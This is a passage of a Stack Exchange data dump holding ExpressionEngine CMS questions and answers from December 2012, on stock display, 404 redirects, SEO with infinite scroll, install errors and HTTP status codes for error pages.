in advance&lt;/p&gt;&#xA;" OwnerUserId="553" LastEditorUserId="16" LastEditDate="2012-12-06T03:57:36.143" LastActivityDate="2012-12-06T03:57:36.143" Title="Expresso Store - possible to add 'OUT OF STOCK' to size drop down?" Tags="|expresso-store|modifiers|drop-down|out-of-stock|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1225" PostTypeId="2" ParentId="1213" CreationDate="2012-12-06T01:40:50.377" Score="5" Body="&lt;p&gt;There is no native way to store session information, but there is an add-on, &lt;a href=&quot;http://devot-ee.com/add-ons/session-variables-plugin&quot;&gt;Session Variables&lt;/a&gt;, which does exactly what you're looking for.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2012-12-06T01:40:50.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1226" PostTypeId="2" ParentId="1224" CreationDate="2012-12-06T01:43:22.170" Score="8" Body="&lt;p&gt;The main problem is that options don't always have a direct mapping to a stock level. For example, if your products have both &quot;Size&quot; and &quot;Color&quot;, it doesn't make sense to say &quot;Red is out of stock&quot; - it depends on the size as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally the best way to solve this is using &lt;a href=&quot;https://exp-resso.com/docs/store/tags/product.html#dynamic-product-variables&quot;&gt;dynamic css variables&lt;/a&gt;. For example, simply add &lt;code&gt;class=&quot;store_product_out_of_stock&quot;&lt;/code&gt; to an element inside your product tag, and it will be displayed only when the selected combination is out of stock.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, &lt;em&gt;if all your products have exactly one modifier&lt;/em&gt;, you can use the &lt;code&gt;{option_stock_level}&lt;/code&gt; variable inside the &lt;code&gt;{modifier_options}&lt;/code&gt; loop. This is somewhat of a hidden feature, because generally it's not a good idea to hard code this if your products might have more than one modifier.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{modifiers}&#xA;    {modifier_options}&#xA;        {option_name}&#xA;        &amp;lt;!-- the following variables are only available if&#xA;             your product has exactly one modifier --&amp;gt;&#xA;        {option_sku}&#xA;        {option_track_stock}&#xA;        {option_stock_level}&#xA;        {option_min_order_qty}&#xA;    {/modifiers_options}&#xA;{/modifiers}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-12-06T01:43:22.170" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1227" PostTypeId="2" ParentId="1220" CreationDate="2012-12-06T02:25:19.750" Score="3" Body="&lt;p&gt;Mel touched on part of our approach. We use the &lt;code&gt;require_entry&lt;/code&gt; parameter in most &lt;code&gt;channel:entries&lt;/code&gt; loops. That's part of the process. Next, we imploy multiple conditionals to check for URL &lt;del&gt;hackers&lt;/del&gt; errors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;General URL Structure&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We like pretty and concise URLs so our &lt;code&gt;blog/index&lt;/code&gt; EE template looks like this in its entirety:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!--&#xA;/**&#xA; * blog/index is a master template that just embeds 1 of 2 other templates based on segment 2. Pretty basic stuff.&#xA; * We're using a custom built extension which registers a global variable &quot;is_pagination_page&quot; so we can use&#xA; * the URL structure we want. It's very basic and I couldn't find any existing add-ons that did what I wanted&#xA; * Add-ons that came close: MD Detect Page Type &amp;amp; Freebie. No dice though.&#xA; */&#xA;--}&#xA;{if segment_2 == '' OR segment_2 == 'category' OR is_pagination_page}&#xA;    {embed=&quot;blog/_list&quot;}&#xA;{if:else}&#xA;    {embed=&quot;blog/_entry&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;is_pagination_page&lt;/code&gt; global is exactly what the code comments describe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blog single entry sample code&lt;/strong&gt; (&lt;code&gt;blog/_entry&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;blog&quot;&#xA;    disable=&quot;category_fields|trackbacks&quot;&#xA;    limit=&quot;1&quot;&#xA;    require_entry=&quot;yes&quot;&#xA;}&#xA;{if no_results}{redirect='say-what'}{/if}&#xA;{if segment_3 != ''}{redirect='{segment_1}/{segment_2}'}{/if}&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blog listing page&lt;/strong&gt; (&lt;code&gt;blog/_list&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check category url pages we use Low Seg2Cat to make sure it's a legit category. (It it's not a real category, the global variable Seg2Cat creates is an empty string.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == 'category' &amp;amp;&amp;amp; '{segment_3_category_name}' == ''}&#xA;    {redirect='say-what'}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this helps. It's exactly what we have setup on focuslabllc.com right now. We have some 404 checks on other sections but these seem to be the ones applicable to the question at hand.&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2012-12-06T02:25:19.750" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1228" PostTypeId="2" ParentId="1220" CreationDate="2012-12-06T02:52:13.120" Score="6" Body="&lt;p&gt;Following on from Eriks post, I've created a global variable for detecting whether the page is a pagination page, and it's set in my master config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$vars['global:is_pagination'] = (preg_match('/P[0-9]+/', $_SERVER['REQUEST_URI'] )) ? TRUE : FALSE;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then in my news/index&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 != '' &amp;amp;&amp;amp; segment_2 != 'category' &amp;amp;&amp;amp; global:is_pagination == ''}&#xA;{redirect=&quot;404&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So essentially: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;if a segment 2 exists&lt;/li&gt;&#xA;&lt;li&gt;AND it's not 'category'&lt;/li&gt;&#xA;&lt;li&gt;AND it's not pagination, throw a 404.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks Erik!&lt;/p&gt;&#xA;" OwnerUserId="549" LastEditorUserId="549" LastEditDate="2012-12-06T03:08:33.977" LastActivityDate="2012-12-06T03:08:33.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1229" PostTypeId="1" AcceptedAnswerId="1244" CreationDate="2012-12-06T02:59:14.177" Score="1" ViewCount="1101" Body="&lt;p&gt;I'm curious what the community thinking is on this point.  While infinite scrolling may present a user-friendly tool for listing a large number of entries, isn't there potentially a downside from an SEO perspective IF the content in question doesn't have its own single entry screen which would expose an SEO-friendly semantic URL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For blogs posts, for example, a common URL structure might be domain.com/blog to list most recent entries and a single blog post might be domain.com/blog/comments/entry-utl-title.  EE then gives you a simple way to generate category-sorted lists using the category segment with something like domain.com/blog/category/category-url-title (and if you use addons you can also potentially achieve parenting segments, but not natively).  I have to assume that the category url titles themselves are good for SEO as well, all things being equal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A suggestion I was given for filtering content on the front end - particularly around filtering content with combinations of categories or other entry data - was a jQuery plugin called Isotope (in place of using EE's native advanced search, for example).  It's a really interesting functionality for the user on the front end, but it got me thinking about the single-category-at-a-time URL structure I've often used.  With an EE implementation of something like the isotope jquery plugin to use tags to filter and sort your list, the category URLs, no longer exist, do they?  Or do you retain them as fallback if the user has javascript turned off?  I'm wondering if you are giving up something by going that route, or is the combination of list view and single entry view enough?&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2012-12-06T03:19:08.783" LastActivityDate="2016-02-03T09:31:20.757" Title="Can jquery-based sorting or loading, like isotope or infinite scroll have a negative effect on for SEO?" Tags="|categories|filter|seo|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1230" PostTypeId="2" ParentId="1193" CreationDate="2012-12-06T03:07:43.847" Score="2" Body="&lt;p&gt;Go into Admin -&gt; System Administration -&gt; Output and Debugging and turn on the Output Profiler, then look at the config variables displayed there.  If you find one pointing at the wrong place, that is probably the place to look for the culprit.  My best guess would be in the index.php for site a.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2012-12-06T03:07:43.847" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1231" PostTypeId="2" ParentId="1229" CreationDate="2012-12-06T04:11:11.330" Score="3" Body="&lt;p&gt;In most cases you wouldn't want your category, tag or archive pages being indexed anyway as it's much more important that the single-entry pages are the ones that are ranking, and also because you can run into duplicate content problems if some pages show exactly the same listing of posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as your isotoped or infinitely-scrolling pages link through to individual entry pages, I don't really see a problem.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2012-12-06T04:11:11.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1232" PostTypeId="2" ParentId="1216" CreationDate="2012-12-06T05:47:48.807" Score="1" Body="&lt;p&gt;Whilst a custom query is a good solution, you could also look to stash!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//This reads all your entries and records them as a list&#xA;{exp:stash:set_list name=&quot;my_entries&quot; parse_tags=&quot;yes&quot;}&#xA;{exp:channel:entries channel=&quot;my_channel&quot;}&#xA;&#xA;    {stash:entry_title}{title}{/stash:entry_title}&#xA;    {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;    {stash:theage}{my_age_field}{stash:theage}&#xA;&#xA;{/exp:channel:entries}&#xA;{/exp:stash:set_list} &#xA;&#xA;//Using the list captured above, match an age (could be a segment as well) against&#xA;the age captured&#xA;{exp:stash:get_list name=&quot;my_entries&quot; match=[#24#] against={theage} limit=&quot;10&quot;}&#xA;    &amp;lt;p&amp;gt;&amp;lt;a href=&quot;/my_template/{entry_id}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;This is item {count} of {total_results} rows curently being displayed.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;This is item {absolute_count} of {absolute_results} rows saved in this list&amp;lt;/p&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just putting it out there :)&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2012-12-06T05:47:48.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1233" PostTypeId="1" CreationDate="2012-12-06T06:01:43.037" Score="-3" ViewCount="236" Body="&lt;p&gt;Trying to avoid using Matrix in this case but have an easily managed interface for the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each will be a mini-gallery for a product page so would also prefer to avoid setting up a media channel and assigning media via a Playa field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like Channel Images - but not possible to chuck a video in the middle of all those images.... right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What kinds of solutions have you used to combat the images/video hybrid gallery dilemma?&lt;/p&gt;&#xA;" OwnerUserId="312" LastActivityDate="2012-12-06T15:18:49.093" Title="How to create a hybrid gallery with Images &amp; Videos?" Tags="|image-galleries|channel-images|video|" AnswerCount="2" CommentCount="2" ClosedDate="2012-12-18T16:55:23.797" ContentLicense="CC BY-SA 3.0" />
  <row Id="1234" PostTypeId="2" ParentId="1191" CreationDate="2012-12-06T07:40:59.593" Score="5" Body="&lt;p&gt;Easiest method is to use the query module and get the distinct email addresses from all the authors to a particular channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would list all the emails for authors in channel_id 12&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT DISTINCT exp_members.email&#xA;            FROM exp_members&#xA;            LEFT JOIN exp_channel_titles&#xA;            ON exp_members.member_id = exp_channel_titles.author_id&#xA;            WHERE exp_channel_titles.channel_id = '12' &quot;}&#xA;    {email}&amp;lt;br /&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Simply swap out the 12 with the channel ID of your 'abstracts' channel.&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2012-12-06T07:40:59.593" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1235" PostTypeId="1" AcceptedAnswerId="1245" CreationDate="2012-12-06T08:22:17.283" Score="1" ViewCount="242" Body="&lt;p&gt;I am experiencing some weird behaviour here. I am installing EE fresh from the zip, no changes, no bootstraps or anything like that. However, the system folder path message keeps showing up. It doesn't really matter what i enter as a var, allways getting the message.&#xA;I tried the var as it comes out of the box (./system), i tried a hard-coded server path (/home/pvfonds/public_html/dev/system), and everything else i could think of.&lt;/p&gt;&#xA;" OwnerUserId="215" LastActivityDate="2012-12-06T13:04:45.217" Title="Unable to install, system folder path does not appear to be set correctly" Tags="|ee2|path|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1236" PostTypeId="2" ParentId="1235" CreationDate="2012-12-06T08:33:45.017" Score="1" Body="&lt;p&gt;More than likely permissions. Drop to a terminal prompt within the site folder and would run the following two commands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;find . -type d -exec chmod 755 {} \;&#xA;find . -type f -exec chmod 644 {} \;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This sets all folders with 755 and all files with 644 recursively. This is the default starting point before you have to set specific permissions for files such as config.php etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See how you get in with that.&lt;/p&gt;&#xA;" OwnerUserId="18" LastEditorUserId="77" LastEditDate="2012-12-06T10:48:17.240" LastActivityDate="2012-12-06T10:48:17.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1237" PostTypeId="2" ParentId="1201" CreationDate="2012-12-06T08:47:05.067" Score="1" Body="&lt;p&gt;You might want to try the add-on Search Fields:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/search-fields&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/search-fields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...if you can't get it to work with the Channel Entries tag. Search Fields is free and offers some other searchoptions too.&lt;/p&gt;&#xA;" OwnerUserId="414" LastActivityDate="2012-12-06T08:47:05.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1238" PostTypeId="2" ParentId="1216" CreationDate="2012-12-06T09:06:20.347" Score="8" Body="&lt;p&gt;A quick addendum to the other answers (which are both fine for reading back values): &lt;strong&gt;it is possible (and often a good idea) to change a text input field's allowed content from the default &quot;all&quot;&lt;/strong&gt; to &quot;integer&quot;, &quot;number&quot;, or &quot;decimal&quot;. You can do this on the edit field screen:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TDuRy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is important to do if you then want to filter/sort values numerically rather than alphanumerically, ie if you want the set &lt;code&gt;[32,3,133]&lt;/code&gt; to be sorted as &lt;code&gt;[3,32,133]&lt;/code&gt; and not as &lt;code&gt;[133,3,32]&lt;/code&gt;. It's also important for ranges, as selecting &lt;code&gt;&amp;lt; 4&lt;/code&gt; from the above range will select &lt;code&gt;[3,32,133]&lt;/code&gt; if the field's content type is 'all' but &lt;code&gt;[3]&lt;/code&gt; if the content type is 'integer'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Internally these values map to MySQL's &lt;code&gt;TEXT&lt;/code&gt; ('all'), &lt;code&gt;INT&lt;/code&gt; ('integer'), &lt;code&gt;NUMERIC&lt;/code&gt; ('number') and &lt;code&gt;DECIMAL&lt;/code&gt; ('decimal') datatypes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When bypassing the &lt;code&gt;channel:entries&lt;/code&gt; tag and pulling data direct from the DB, I tend to use the &lt;a href=&quot;http://devot-ee.com/add-ons/activerecord&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;ActiveRecord plugin&lt;/strong&gt;&lt;/a&gt; rather than the &lt;code&gt;query&lt;/code&gt; tag as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It's far more secure if you're inserting dynamic data into your query, eg from url segments  (the &lt;code&gt;query&lt;/code&gt; tag does not escape variables, whereas the AR plugin does).&lt;/li&gt;&#xA;&lt;li&gt;It syntax is much more readable, which helps you (or another developer) to work out what you  was trying to do when you return to the code months later&lt;/li&gt;&#xA;&lt;li&gt;There's no need to use prefixes (&lt;code&gt;exp_&lt;/code&gt;) when selecting tables&lt;/li&gt;&#xA;&lt;li&gt;It supports pagination&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-12-06T11:07:34.677" LastActivityDate="2012-12-06T11:07:34.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1239" PostTypeId="1" AcceptedAnswerId="1241" CreationDate="2012-12-06T09:44:51.193" Score="4" ViewCount="265" Body="&lt;p&gt;The Google crawler sometimes hits URLs have ExpressionEngine error messages on them and caches them because they respond with HTTP 200. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BoI1f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These error messages are handled by the &lt;code&gt;show_user_error()&lt;/code&gt; method. Before I go and start hacking core, am I correct in suggesting that these error messages show return an HTTP error?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, which HTTP status should it show (I'm thinking 403 Forbidden but perhaps there is a more precise status)&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2012-12-06T13:15:08.980" Title="Should EE error messages give HTTP 200 responses?" Tags="|http|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1240" PostTypeId="2" ParentId="718" CreationDate="2012-12-06T10:14:27.617" Score="1" Body="&lt;p&gt;I have &lt;a href=&quot;http://devot-ee.com/add-ons/theeditorcodemirror&quot; rel=&quot;nofollow noreferrer&quot;&gt;ThEEditorCodeMirror&lt;/a&gt; installed as an default add-on. (But I don’t use it very often because I save and edit templates as files.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ThEEditorCodeMirror gives you line numbers, tab support, auto indent, themes and Ctrl-S saving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C9puU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="201" LastActivityDate="2012-12-06T10:14:27.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1241" PostTypeId="2" ParentId="1239" CreationDate="2012-12-06T10:37:15.717" Score="6" Body="&lt;p&gt;&lt;strong&gt;TL;DR?&lt;/strong&gt; Just leave it as it is.&lt;/p&gt;&#xA;&lt;h3&gt;Request Codes&lt;/h3&gt;&#xA;&lt;p&gt;Before getting into this it's worth familiarising yourself with different &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc2616#section-10&quot; rel=&quot;nofollow noreferrer&quot;&gt;HTTP request codes&lt;/a&gt;. A &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc2616#section-10.2.1&quot; rel=&quot;nofollow noreferrer&quot;&gt;200 header&lt;/a&gt; (the default) has the following meaning:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The request has succeeded. The information returned with the response is dependent on the method used in the request, for example:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;GET an entity corresponding to the requested resource is sent in the response;&lt;/li&gt;&#xA;&lt;li&gt;HEAD the entity-header fields corresponding to the requested resource are sent in the response without any message-body;&lt;/li&gt;&#xA;&lt;li&gt;POST an entity describing or containing the result of the action;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In instances where an app has hit an exception it's common to send HTTP &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc2616#section-10.5.1&quot; rel=&quot;nofollow noreferrer&quot;&gt;500 headers&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The server encountered an unexpected condition which prevented it from fulfilling the request.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Within the context of EE it's difficult to definitively state which headers should be sent with error messages. In apps that I've developed I've used 500 headers only when an uncaught exception is triggered, since this represents an unexpected behaviour that the app is unable to process/work around. The request has failed in a manner that wasn't/could not be anticipated.&lt;/p&gt;&#xA;&lt;p&gt;If an expected error crops up, such as validation failure, I'll implement any redirects/status messages as necessary, but I won't send a 500 header. The request has 'succeeded' in the sense that 'an entity corresponding to the requested resource [was] sent in the response'.&lt;/p&gt;&#xA;&lt;p&gt;With EE, error messages can crop up for both expected and unexpected errors, as there's no granularity to the native error handling. It doesn't matter whether someone's forgotten to enter their email address or a required extension could not be loaded, the same error handler is used.&lt;/p&gt;&#xA;&lt;p&gt;There's a very strong argument that EE should have its error handling beefed up significantly, but with the current system it's debatable whether the &lt;code&gt;show_user_error&lt;/code&gt; method should send non-standard headers. In some situations it might be appropriate, in others it wouldn't be. Throw in the fact that core modifications are generally inadvisable and I'd suggest that you're better off sticking to the default behaviour.&lt;/p&gt;&#xA;&lt;h3&gt;Search Engines&lt;/h3&gt;&#xA;&lt;p&gt;A typical production EE site will only be displaying errors for validation issues, so error pages should never be indexed (as search engines don't &lt;code&gt;POST&lt;/code&gt;). If your site is frequently returning errors for &lt;code&gt;GET&lt;/code&gt; requests I'd have thought you'd want to focus on the underlying cause of those errors, rather than stopping them from being indexed.&lt;/p&gt;&#xA;" OwnerUserId="77" LastEditorUserId="-1" LastEditDate="2021-10-07T07:34:52.683" LastActivityDate="2012-12-06T11:15:16.440" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1242" PostTypeId="2" ParentId="1239" CreationDate="2012-12-06T11:09:30.100" Score="0" Body="&lt;p&gt;Before you hack the core you can check out this add-on ($12):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/custom-system-messages&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/custom-system-messages&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It allows you to use your own defined templates in case of an error. In the template you can use PHP, and thus send different headers.&lt;/p&gt;&#xA;" OwnerUserId="414" LastActivityDate="2012-12-06T11:09:30.100" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1243" PostTypeId="1" CreationDate="2012-12-06T11:12:15.463" Score="3" ViewCount="346" Body="&lt;p&gt;An ExpressionEngine install has begun to throw a &quot;no access to the directory specified for this field&quot; error when my client and I try to save updated entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error relates to three optional image fieldtypes. If no image is selected for any of the three fields using File Manager I get the error. If I select an image for each field the error does not occur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our EE install is up to date: 2.5.3 and I've already checked that permissions on the upload directories are correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Ellislabs support forums have a couple of instances of the same error (example &lt;a href=&quot;http://ellislab.com/forums/viewthread/229728/#1041361&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;) but no solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have just reproduced the error as a Super Admin and have a PHP error displayed on the Edit Entry screen:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: filename&#xA;Filename: libraries/File_field.php&#xA;Line Number: 77&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="512" LastEditorUserId="512" LastEditDate="2012-12-07T19:10:20.603" LastActivityDate="2012-12-07T19:10:20.603" Title="EE 2.5.3 &quot;no access to the directory specified for this field&quot; error when updating entries" Tags="|ee2|file-manager|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1244" PostTypeId="2" ParentId="1229" CreationDate="2012-12-06T12:03:55.873" Score="7" Body="&lt;p&gt;The 'proper' way to do this is to link as normal to single pages that show the entry detail but then use JS to hijack the link's target and pull in just the content via ajax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the MX Ajax Detect add-on to make a single template respond differently (ie, returning a full page vs returning just chunks of content) depending on whether it was requested via ajax: &lt;a href=&quot;http://devot-ee.com/add-ons/mx-ajax-detect&quot;&gt;http://devot-ee.com/add-ons/mx-ajax-detect&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see this in action on this page: &lt;a href=&quot;http://www.ceridian.co.uk/about&quot;&gt;http://www.ceridian.co.uk/about&lt;/a&gt; - clicking on the faces makes an ajax request for the content, while search engine robots will still be able to index the href of the anchor tags, even though regular users will not arrive at those pages.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2012-12-06T12:03:55.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1245" PostTypeId="2" ParentId="1235" CreationDate="2012-12-06T12:37:13.183" Score="2" Body="&lt;p&gt;Found out what the problem was. the server had some setting that set all filenames to lowercase. When this was turned off, everything worked...&lt;/p&gt;&#xA;" OwnerUserId="215" LastActivityDate="2012-12-06T12:37:13.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1246" PostTypeId="1" AcceptedAnswerId="1247" CreationDate="2012-12-06T12:51:39.333" Score="6" ViewCount="265" Body="&lt;p&gt;We have a use case where we need to import content from an EE1 website to an EE2 website (with existing content). I'm guessing it has to be a custom scripting job, but asking here in case someone knows a smart way of doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One idea I guess is to use DataGrab for the import, but we'd still need to do an export from EE1 in XML (or another format which can be read by DataGrab).&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2012-12-06T13:59:06.533" Title="Importing content from EE1 into an existing EE2 website" Tags="|ee2|ee1|export|datagrab|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1247" PostTypeId="2" ParentId="1246" CreationDate="2012-12-06T12:53:45.750" Score="4" Body="&lt;p&gt;If you just need to export your weblog entries, you can use this add-on for EE1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/weblog-entries-exporter&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/weblog-entries-exporter&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This is a module for EE1; it basically allows CSV/XML export of weblog entries (if you choose XML it also deserializes the data in serialized fields).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="174" LastActivityDate="2012-12-06T12:53:45.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1248" PostTypeId="2" ParentId="1235" CreationDate="2012-12-06T13:04:45.217" Score="0" Body="&lt;p&gt;It looks like you're trying to run the site in a sub-folder called &lt;code&gt;/dev&lt;/code&gt;. Are the other sites also running in sub-folders and have you tried running the site just beneath &lt;code&gt;/public_html&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="237" LastActivityDate="2012-12-06T13:04:45.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1249" PostTypeId="2" ParentId="1239" CreationDate="2012-12-06T13:15:08.980" Score="0" Body="&lt;p&gt;Add meta no-index to your message templates:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;meta name=&quot;robots&quot; content=&quot;noindex&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2012-12-06T13:15:08.980" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
